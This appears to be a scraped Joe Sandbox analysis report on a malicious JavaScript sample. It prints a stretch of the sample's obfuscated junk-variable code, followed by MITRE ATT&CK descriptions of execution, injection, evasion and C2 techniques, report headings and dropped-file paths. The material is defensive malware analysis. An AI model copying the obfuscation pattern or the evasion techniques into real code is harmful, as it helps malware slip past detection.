1001	niirjeen = "K";
1002	niirjeen = "k";
1003	niirjeen = "w";
1004	niirjeen = "h";
1005	niirjeen = "q";
1006	niirjeen = "C";
1007	niirjeen = "F";
1008	niirjeen = "l";
1009	niirjeen = "k";
1010	niirjeen = "r";
1011	srnysffnw = "P";
1012	srnysffnw = "U";
1013	srnysffnw = "k";
1014	srnysffnw = "M";
1015	srnysffnw = "w";
1016	srnysffnw = "X";
1017	srnysffnw = "D";
1018	srnysffnw = "8";
1019	rnzsua = "a";
1020	rnzsua = "J";
1021	rnzsua = "B";
1022	rnzsua = "r";
1023	rnzsua = "m";
1024	rnzsua = "K";
1025	rnzsua = "I";
1026	rnzsua = "n";
1027	rnzsua = "K";
1028	rnzsua = "w";
1029	rnzsua = "V";
1030	rnzsua = "k";
1031	rnzsua = "p";
1032	rnzsua = "W";
1033	rnzsua = "D";
1034	rnzsua = "x";
1035	rnzsua = "S";
1036	rnzsua = "r";
1037	rnzsua = "w";
1038	rnzsua = "X";
1039	rnzsua = "e";
1040	rnzsua = "P";
1041	rnzsua = "J";
1042	rnzsua = "D";
1043	rnzsua = "U";
1044	rnzsua = "m";
1045	rnzsua = "I";
1046	rnzsua = "Z";
1047	rnzsua = "d";
1048	rnzsua = "v";
1049	rnzsua = "h";
1050	rnzsua = "u";
1051	rnzsua = "x";
1052	rnzsua = "C";
1053	mqcczncpu = "D";
1054	mqcczncpu = "p";
1055	mqcczncpu = "F";
1056	mqcczncpu = "w";
1057	mqcczncpu = "k";
1058	mqcczncpu = "H";
1059	mqcczncpu = "Y";
1060	mqcczncpu = "f";
1061	mqcczncpu = "o";
1062	mqcczncpu = "r";
1063	mqcczncpu = "d";
1064	mqcczncpu = "u";
1065	mqcczncpu = "B";
1066	mqcczncpu = "n";
1067	mqcczncpu = "v";
1068	mqcczncpu = "U";
1069	mqcczncpu = "G";
1070	mqcczncpu = "e";
1071	mqcczncpu = "d";
1072	mqcczncpu = "M";
1073	mqcczncpu = "n";
1074	mqcczncpu = "Y";
1075	mqcczncpu = "L";
1076	mqcczncpu = "Z";
1077	mqcczncpu = "k";
1078	mqcczncpu = "s";
1079	mqcczncpu = "p";
1080	qhzyrvapn = "n";
1081	qhzyrvapn = "y";
1082	qhzyrvapn = "X";
1083	qhzyrvapn = "J";
1084	qhzyrvapn = "i";
1085	qhzyrvapn = "I";
1086	qhzyrvapn = "L";
1087	qhzyrvapn = "j";
1088	qhzyrvapn = "M";
1089	qhzyrvapn = "q";
1090	qhzyrvapn = "n";
1091	qhzyrvapn = "R";
1092	qhzyrvapn = "R";
1093	qhzyrvapn = "x";
1094	qhzyrvapn = "I";
1095	qhzyrvapn = "g";
1096	qhzyrvapn = "c";
1097	qhzyrvapn = "f";
1098	qhzyrvapn = "X";
1099	qhzyrvapn = "K";
1100	qhzyrvapn = "E";
1101	qhzyrvapn = "3";
1102	nerzn = "i";
1103	nerzn = "i";
1104	nerzn = "E";
1105	nerzn = "B";
1106	nerzn = " ";
1107	eipnzi = "g";
1108	eipnzi = "k";
1109	eipnzi = "a";
1110	eipnzi = "c";
1111	eipnzi = "k";
1112	eipnzi = "K";
1113	eipnzi = "P";
1114	eipnzi = "m";
1115	eipnzi = "t";
1116	eipnzi = "P";
1117	eipnzi = "b";
1118	eipnzi = "Q";
1119	eipnzi = "D";
1120	eipnzi = "H";
1121	eipnzi = "Q";
1122	eipnzi = "e";
1123	eipnzi = "h";
1124	gyitjgya = "K";
1125	gyitjgya = "v";
1126	gyitjgya = "y";
1127	gyitjgya = "a";
1128	gyitjgya = "j";
1129	gyitjgya = "O";
1130	gyitjgya = "y";
1131	gyitjgya = "P";
1132	gyitjgya = "d";
1133	gyitjgya = "Z";
1134	gyitjgya = "Q";
1135	gyitjgya = "G";
1136	gyitjgya = "W";
1137	gyitjgya = "X";
1138	gyitjgya = "X";
1139	gyitjgya = "x";
1140	gyitjgya = "X";
1141	gyitjgya = "O";
1142	gyitjgya = "J";
1143	gyitjgya = "J";
1144	gyitjgya = "j";
1145	gyitjgya = "Z";
1146	gyitjgya = "H";
1147	gyitjgya = "V";
1148	gyitjgya = "t";
1149	gyitjgya = "D";
1150	gyitjgya = "z";
1151	gyitjgya = "I";
1152	gyitjgya = "f";
1153	gyitjgya = "k";
1154	gyitjgya = "c";
1155	gyitjgya = "X";
1156	gyitjgya = "K";
1157	mfbvvbjwt = "w";
1158	mfbvvbjwt = "E";
1159	mfbvvbjwt = "r";
1160	mfbvvbjwt = "t";
1161	mfbvvbjwt = "r";
1162	mfbvvbjwt = "G";
1163	mfbvvbjwt = "v";
1164	mfbvvbjwt = "x";
1165	mfbvvbjwt = "a";
1166	mfbvvbjwt = "i";
1167	mfbvvbjwt = "x";
1168	mfbvvbjwt = "H";
1169	mfbvvbjwt = "e";
1170	mfbvvbjwt = "Z";
1171	mfbvvbjwt = "y";
1172	mfbvvbjwt = "L";
1173	mfbvvbjwt = "Q";
1174	mfbvvbjwt = "e";
1175	mfbvvbjwt = "A";
1176	mfbvvbjwt = "z";
1177	mfbvvbjwt = "G";
1178	mfbvvbjwt = "r";
1179	mfbvvbjwt = "o";
1180	mfbvvbjwt = "C";
1181	mfbvvbjwt = "D";
1182	mfbvvbjwt = "d";
1183	mfbvvbjwt = "H";
1184	mfbvvbjwt = "H";
1185	mfbvvbjwt = "S";
1186	mfbvvbjwt = "f";
1187	mfbvvbjwt = "K";
1188	mfbvvbjwt = "U";
1189	mfbvvbjwt = "k";
1190	mfbvvbjwt = "l";
1191	mfbvvbjwt = "m";
1192	mfbvvbjwt = "U";
1193	slfhhcmo = "E";
1194	slfhhcmo = "l";
1195	slfhhcmo = "z";
1196	slfhhcmo = "V";
1197	slfhhcmo = "u";
1198	slfhhcmo = "A";
1199	slfhhcmo = "g";
1200	slfhhcmo = "E";
1201	slfhhcmo = "W";
1202	slfhhcmo = "z";
1203	slfhhcmo = "g";
1204	slfhhcmo = "f";
1205	slfhhcmo = "R";
1206	slfhhcmo = "f";
1207	slfhhcmo = "O";
1208	slfhhcmo = "l";
1209	slfhhcmo = "a";
1210	slfhhcmo = "m";
1211	slfhhcmo = "A";
1212	slfhhcmo = "m";
1213	slfhhcmo = "R";
1214	slfhhcmo = "/";
1215	vbpuqh = "y";
1216	vbpuqh = "z";
1217	vbpuqh = "H";
1218	vbpuqh = "u";
1219	vbpuqh = "w";
1220	vbpuqh = "y";
1221	vbpuqh = "e";
1222	vbpuqh = "p";
1223	vbpuqh = "y";
1224	vbpuqh = "X";
1225	vbpuqh = "r";
1226	vbpuqh = "T";
1227	vbpuqh = "e";
1228	vbpuqh = "n";
1229	vbpuqh = "t";
1230	vbpuqh = "S";
1231	vbpuqh = "b";
1232	vbpuqh = "c";
1233	vbpuqh = "C";
1234	vbpuqh = "G";
1235	vbpuqh = "q";
1236	vbpuqh = "L";
1237	vbpuqh = "Z";
1238	vbpuqh = "b";
1239	vbpuqh = "L";
1240	vbpuqh = "t";
1241	vbpuqh = "U";
1242	vbpuqh = "i";
1243	vbpuqh = "U";
1244	vbpuqh = "l";
1245	vbpuqh = "y";
1246	vbpuqh = "2";
1247	lzxrlk = "R";
1248	lzxrlk = "Z";
1249	lzxrlk = "f";
1250	lzxrlk = "Y";
1251	lzxrlk = "j";
1252	lzxrlk = "X";
1253	lzxrlk = "D";
1254	lzxrlk = "h";
1255	lzxrlk = "E";
1256	lzxrlk = "h";
1257	lzxrlk = "X";
1258	lzxrlk = "e";
1259	lzxrlk = "Z";
1260	lzxrlk = "M";
1261	lzxrlk = "R";
1262	lzxrlk = "a";
1263	lzxrlk = "A";
1264	lzxrlk = "K";
1265	lzxrlk = "J";
1266	lzxrlk = "j";
1267	lzxrlk = "y";
1268	lzxrlk = "W";
1269	lzxrlk = "o";
1270	lzxrlk = "R";
1271	lzxrlk = "D";
1272	lzxrlk = "v";
1273	lzxrlk = "B";
1274	lzxrlk = "D";
1275	lzxrlk = "l";
1276	lzxrlk = "q";
1277	hvxoxct = "o";
1278	hvxoxct = "W";
1279	hvxoxct = "k";
1280	hvxoxct = "9";
1281	knvftqzf = "E";
1282	knvftqzf = "Z";
1283	knvftqzf = "h";
1284	knvftqzf = "Z";
1285	knvftqzf = "h";
1286	knvftqzf = "L";
1287	knvftqzf = "g";
1288	knvftqzf = "y";
1289	knvftqzf = "X";
1290	knvftqzf = "S";
1291	knvftqzf = "h";
1292	knvftqzf = "W";
1293	knvftqzf = "e";
1294	fuzxnmykb = "F";
1295	fuzxnmykb = "N";
1296	fuzxnmykb = "l";
1297	fuzxnmykb = "K";
1298	fuzxnmykb = "m";
1299	fuzxnmykb = "q";
1300	fuzxnmykb = "S";
1301	fuzxnmykb = "P";
1302	fuzxnmykb = "q";
1303	fuzxnmykb = "m";
1304	fuzxnmykb = "h";
1305	fuzxnmykb = "c";
1306	fuzxnmykb = "z";
1307	fuzxnmykb = "d";
1308	fuzxnmykb = "I";
1309	fuzxnmykb = "z";
1310	fuzxnmykb = "P";
1311	fuzxnmykb = "c";
1312	fuzxnmykb = "v";
1313	fuzxnmykb = "b";
1314	fuzxnmykb = "v";
1315	fuzxnmykb = "J";
1316	fuzxnmykb = "y";
1317	fuzxnmykb = "H";
1318	fuzxnmykb = "e";
1319	fuzxnmykb = "T";
1320	fuzxnmykb = "g";
1321	fuzxnmykb = "P";
1322	fuzxnmykb = "t";
1323	fuzxnmykb = "r";
1324	fuzxnmykb = "Y";
1325	fuzxnmykb = "b";
1326	rjfbyi = "m";
1327	rjfbyi = "O";
1328	rjfbyi = "v";
1329	rjfbyi = "T";
1330	rjfbyi = "n";
1331	rjfbyi = "u";
1332	rjfbyi = "r";
1333	rjfbyi = "p";
1334	rjfbyi = "w";
1335	rjfbyi = "g";
1336	rjfbyi = "v";
1337	rjfbyi = "Y";
1338	rjfbyi = "q";
1339	rjfbyi = "f";
1340	rjfbyi = "J";
1341	rjfbyi = "y";
1342	rjfbyi = "M";
1343	rjfbyi = "C";
1344	rjfbyi = "J";
1345	rjfbyi = "b";
1346	rjfbyi = "n";
1347	rjfbyi = "y";
1348	rjfbyi = "Y";
1349	rjfbyi = "C";
1350	rjfbyi = "P";
1351	rjfbyi = "o";
1352	rjfbyi = "O";
1353	zxjcxxd = "g";
1354	zxjcxxd = "A";
1355	zxjcxxd = "N";
1356	zxjcxxd = "T";
1357	zxjcxxd = "M";
1358	zxjcxxd = "L";
1359	zxjcxxd = "x";
1360	zxjcxxd = "h";
1361	zxjcxxd = "Q";
1362	zxjcxxd = "G";
1363	zxjcxxd = "J";
1364	zxjcxxd = "i";
1365	zxjcxxd = "S";
1366	zxjcxxd = "t";
1367	zxjcxxd = "E";
1368	zxjcxxd = "P";
1369	zxjcxxd = "Y";
1370	zxjcxxd = "Y";
1371	zxjcxxd = "l";
1372	zxjcxxd = "a";
1373	zxjcxxd = "c";
1374	zxjcxxd = "Y";
1375	zxjcxxd = "k";
1376	zxjcxxd = "D";
1377	zxjcxxd = "x";
1378	zxjcxxd = "e";
1379	zxjcxxd = "P";
1380	zxjcxxd = "H";
1381	zxjcxxd = "q";
1382	zxjcxxd = "f";
1383	zxjcxxd = "H";
1384	zxjcxxd = "a";
1385	zxjcxxd = "W";
1386	zxjcxxd = "R";
1387	zxjcxxd = "K";
1388	zxjcxxd = "R";
1389	zxjcxxd = "K";
1390	zxjcxxd = "P";
1391	zxjcxxd = "L";
1392	zxjcxxd = "i";
1393	zxjcxxd = "T";
1394	zxjcxxd = "T";
1395	zxjcxxd = "x";
1396	zxjcxxd = ":";
1397	pajgl = "o";
1398	pajgl = "Q";
1399	pajgl = "U";
1400	pajgl = "j";
1401	pajgl = "h";
1402	pajgl = "l";
1403	pajgl = "Z";
1404	pajgl = "C";
1405	pajgl = "B";
1406	pajgl = "j";
1407	pajgl = "Y";
1408	pajgl = "Y";
1409	pajgl = "O";
1410	pajgl = "C";
1411	pajgl = "s";
1412	pajgl = "B";
1413	pajgl = "j";
1414	pajgl = "D";
1415	pajgl = "W";
1416	pajgl = "G";
1417	pajgl = "y";
1418	pajgl = "O";
1419	pajgl = "h";
1420	pajgl = "I";
1421	qqdrkjdl = "a";
1422	qqdrkjdl = "X";
1423	qqdrkjdl = "s";
1424	qqdrkjdl = "K";
1425	qqdrkjdl = "B";
1426	qqdrkjdl = "d";
1427	qqdrkjdl = "J";
1428	qqdrkjdl = "Y";
1429	qqdrkjdl = "U";
1430	qqdrkjdl = "F";
1431	qqdrkjdl = "U";
1432	qqdrkjdl = "i";
1433	qqdrkjdl = "Y";
1434	qqdrkjdl = "P";
1435	qqdrkjdl = "e";
1436	qqdrkjdl = "X";
1437	qqdrkjdl = "B";
1438	qqdrkjdl = "E";
1439	qqdrkjdl = "D";
1440	qqdrkjdl = "T";
1441	qqdrkjdl = "x";
1442	qqdrkjdl = "u";
1443	qqdrkjdl = "j";
1444	qqdrkjdl = "i";
1445	qqdrkjdl = "x";
1446	qqdrkjdl = "E";
1447	qqdrkjdl = "z";
1448	qqdrkjdl = "i";
1449	qqdrkjdl = "b";
1450	qqdrkjdl = "l";
1451	qqdrkjdl = "R";
1452	qqdrkjdl = "j";
1453	bpfdzj = "b";
1454	bpfdzj = "n";
1455	bpfdzj = "s";
1456	bpfdzj = "z";
1457	bpfdzj = "o";
1458	bpfdzj = "t";
1459	bpfdzj = "r";
1460	bpfdzj = "d";
1461	bpfdzj = "C";
1462	bpfdzj = "C";
1463	bpfdzj = "u";
1464	bpfdzj = "U";
1465	bpfdzj = "C";
1466	bpfdzj = "h";
1467	bpfdzj = "Y";
1468	bpfdzj = "z";
1469	bpfdzj = "P";
1470	bpfdzj = "x";
1471	bpfdzj = "j";
1472	bpfdzj = "Y";
1473	bpfdzj = "y";
1474	bpfdzj = "l";
1475	bpfdzj = "h";
1476	bpfdzj = "g";
1477	bpfdzj = "x";
1478	bpfdzj = "z";
1479	bpfdzj = "g";
1480	bpfdzj = "c";
1481	bpfdzj = "u";
1482	bpfdzj = "q";
1483	bpfdzj = "B";
1484	bpfdzj = "Y";
1485	bpfdzj = "e";
1486	bpfdzj = "J";
1487	bpfdzj = "i";
1488	bpfdzj = "W";
1489	bpfdzj = "r";
1490	bpfdzj = "r";
1491	bpfdzj = "F";
1492	bpfdzj = "E";
1493	bpfdzj = "u";
1494	bpfdzj = "P";
1495	bpfdzj = "T";
1496	bpfdzj = "o";
1497	bpfdzj = "6";
1498	oulhyekd = "h";
1499	oulhyekd = "b";
1500	oulhyekd = "P";
1501	oulhyekd = "m";
1502	oulhyekd = "e";
1503	oulhyekd = "A";
1504	oulhyekd = "F";
1505	oulhyekd = "A";
1506	oulhyekd = "b";
1507	oulhyekd = "B";
1508	oulhyekd = "s";
1509	oulhyekd = "I";
1510	oulhyekd = "F";
1511	oulhyekd = "e";
1512	oulhyekd = "e";
1513	oulhyekd = "H";
1514	oulhyekd = "W";
1515	oulhyekd = "q";
1516	oulhyekd = "L";
1517	oulhyekd = "T";
1518	oulhyekd = "n";
1519	oulhyekd = "L";
1520	qmggvybyg = "P";
1521	qmggvybyg = "Q";
1522	qmggvybyg = "y";
1523	qmggvybyg = "U";
1524	qmggvybyg = "x";
1525	mrydnpr = "f";
1526	ztehswa = "n";
1527	ztehswa = "H";
1528	ztehswa = "V";
1529	ztehswa = "B";
1530	ztehswa = "M";
1531	ztehswa = "y";
1532	ztehswa = "e";
1533	ztehswa = "H";
1534	bpees = "e";
1535	bpees = "O";
1536	bpees = "N";
1537	bpees = "G";
1538	bpees = "l";
1539	bpees = "n";
1540	bpees = "u";
1541	bpees = "l";
1542	bpees = "Y";
1543	bpees = "C";
1544	bpees = "C";
1545	bpees = "R";
1546	bpees = "f";
1547	bpees = "S";
1548	bpees = "k";
1549	bpees = "r";
1550	bpees = "z";
1551	bpees = "I";
1552	bpees = "F";
1553	bpees = "B";
1554	bpees = "U";
1555	bpees = "a";
1556	bpees = "D";
1557	bpees = "z";
1558	bpees = "z";
1559	bpees = "T";
1560	bpees = "m";
1561	bpees = "W";
1562	bpees = "P";
1563	bpees = "c";
1564	bpees = "L";
1565	bpees = "J";
1566	bpees = "z";
1567	bpees = "x";
1568	bpees = "f";
1569	bpees = "T";
1570	bpees = "g";
1571	cfrgzgglf ( );	cfrgzgglf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 28926317492847332246.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0e23d33d-bd36-4e1e-9500-873563e5aca1.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9ca00930-a49f-4a85-a0e6-3c785eddee9c.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6f27fe.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
28926317492847332246.js